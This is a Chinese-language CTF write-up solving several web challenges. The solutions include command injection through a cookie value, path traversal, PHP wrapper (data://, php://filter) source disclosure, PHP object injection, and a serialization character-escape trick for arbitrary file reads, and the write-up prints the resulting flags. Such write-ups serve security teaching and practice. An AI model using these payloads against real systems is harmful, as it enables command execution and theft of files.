1 2 3 4 Cookie: USERNAME =${echo,hello} ; TOKEN =5AqQQysWB4trZJq356Y1CmCsvjtcmYshRhjSDwhWII83UQZgXP103YVp2uM78jGfeJebp6FPHRavz4Sc3gVeoA== Upgrade-Insecure-Requests: 1 text =aaaa&submit=
1 2 3 4 5 6 7 8 /reply.wtf?post =../users_lookup/find.wtf%20 Cookie: USERNAME =${find,/,-name,*flag*} ; TOKEN =/LFYD/KaD/ncUCVGqEsIHvrFpAGVHPeS2GBOb0pmvmqBRS6VchO8uaPfq350+W7T1POXsYUR7Gw/fo9V5MzwpA== Upgrade-Insecure-Requests: 1 text =aaaa&submit=
1 2 3 4 5 6 7 /home/flag2 /home/flag2/flag2.txt /home/flag1 /home/flag1/flag1.txt /usr/bin/get_flag2 /usr/bin/get_flag1
接下来去得到剩下的那半flag
可以直接再注册一个账户
1 2 3 4 5 6 /reply.wtf?post =../users_lookup/flag.wtf%20 Cookie: USERNAME =$/usr/bin/get_flag2; TOKEN =mmEmvGF2VYwm0x8CHcz3B0T5nejhW2Tj8OjHe9uomXhrqAvC90NMcUNM11wxJDtTffL7iTB5fUH0gfDO/3Dc1w== Upgrade-Insecure-Requests: 1 text =aaaa&submit=
得到flag
1 Flag: xctf{cb49256d1ab48803149e5ec49d3c29ca}
0x14 nizhuansiwei 直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text" ]; $file = $_GET["file" ]; $password = $_GET["password" ]; if (isset ($text)&&(file_get_contents($text,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ echo "Not now!" ; exit (); }else { include ($file); $password = unserialize($password); echo $password; } } else { highlight_file(__FILE__ ); } ?>
提示要 include useless.php
但是没什么用
试试看filter协议读useless.php
1 ?text =data://TEXT/HTML,welcome to the zjctf&file =php://filter/read=convert.base64-encode/resource=useless.php?
解码得到
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file; public function __tostring () { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
所以要调用Flag 的 __tostring 方法,然后file_get_content 得到flag.php 的内容
1 ?text =data://TEXT/HTML,welcome to the zjctf&file =useless.php&password=O:4:"Flag":1:{s:4:"file" ;s:8:"flag.php" ;}
1 cyberpeace {bb7d21ba5f5c37dd1067705cee086142}
0x15 easy_serialize_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET['f' ]; function filter ($img) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); } if ($_SESSION){ unset ($_SESSION); } $_SESSION["user" ] = 'guest' ; $_SESSION['function' ] = $function; extract($_POST); if (!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET['img_path' ]){ $_SESSION['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION['img' ] = sha1(base64_encode($_GET['img_path' ])); } $serialize_info = filter(serialize($_SESSION)); if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img' ])); }
可以通过 改变 参数 f 的值,调用不同的函数
可以看 phpinfo
如果 f=show_image,就会反序列化 $serialize_info,然后会执行 file_get_contetents
看看phpinfo
这个语句可以控制当前脚本的所有变量值
可以直接给 function 变量赋值
1 $serialize_info = filter(serialize($_SESSION));
$_SESSION 会被序列化,经过 filter 之后,其中的’php’,’flag’,’php5’,’php4’,’fl1g’,都被替换成 “”
1 2 $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img' ]));
通过这两个语句,可以将SESSION 序列反序列化,然后取其中的 img ,base64cecode 之后,被 file_get_contents
因为filter 函数的缘故,可以利用字符逃逸来实现任意文件的读取
没有f 参数,没有 img_path 参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function filter ($img) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); } $_SESSION["user" ] = 'guest' ; $_SESSION['function' ] = $function; extract($_POST); $_SESSION["z" ] = "hello,flagflagflagflag" ; $_SESSION["a" ] = 'hellononononono";s:3:"img";s:8:"ZmxhZw==";}' ; $_SESSION['img' ] = base64_encode('flag' ); print_r(serialize($_SESSION)); $serialize_info = filter(serialize($_SESSION)); print_r("\n" ); print_r($serialize_info);
上面的 z 和 a 是随便写的
看看效果
有感觉了,读一读 d0g3_f1ag.php
1 2 d0g3_f1ag.php base64encode ("d0g3_f1ag.php" ) = ZDBnM19mMWFnLnBocA==
1 2 3 4 5 6 $_ SESSION[] = 'guest' ;$_ SESSION['function' ] = $f unction;extract($_ POST); $_ SESSION[] = ;$_ SESSION[] = 'hhh";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}' ;
1 _SESSION [z]=helloflagflagflagflagphp&_SESSION [a]=hhh";s:3:" img";s:20:" ZDBnM19mMWFnLnBocA ==";s:1:" b";N;}
得到flag 的位置
1 _SESSION [z]=helloflagflagflagflagphp&_SESSION [a]=hhh";s:3:" img";s:20:" L2QwZzNfZmxsbGxsbGFn ";s:1:" b";N;}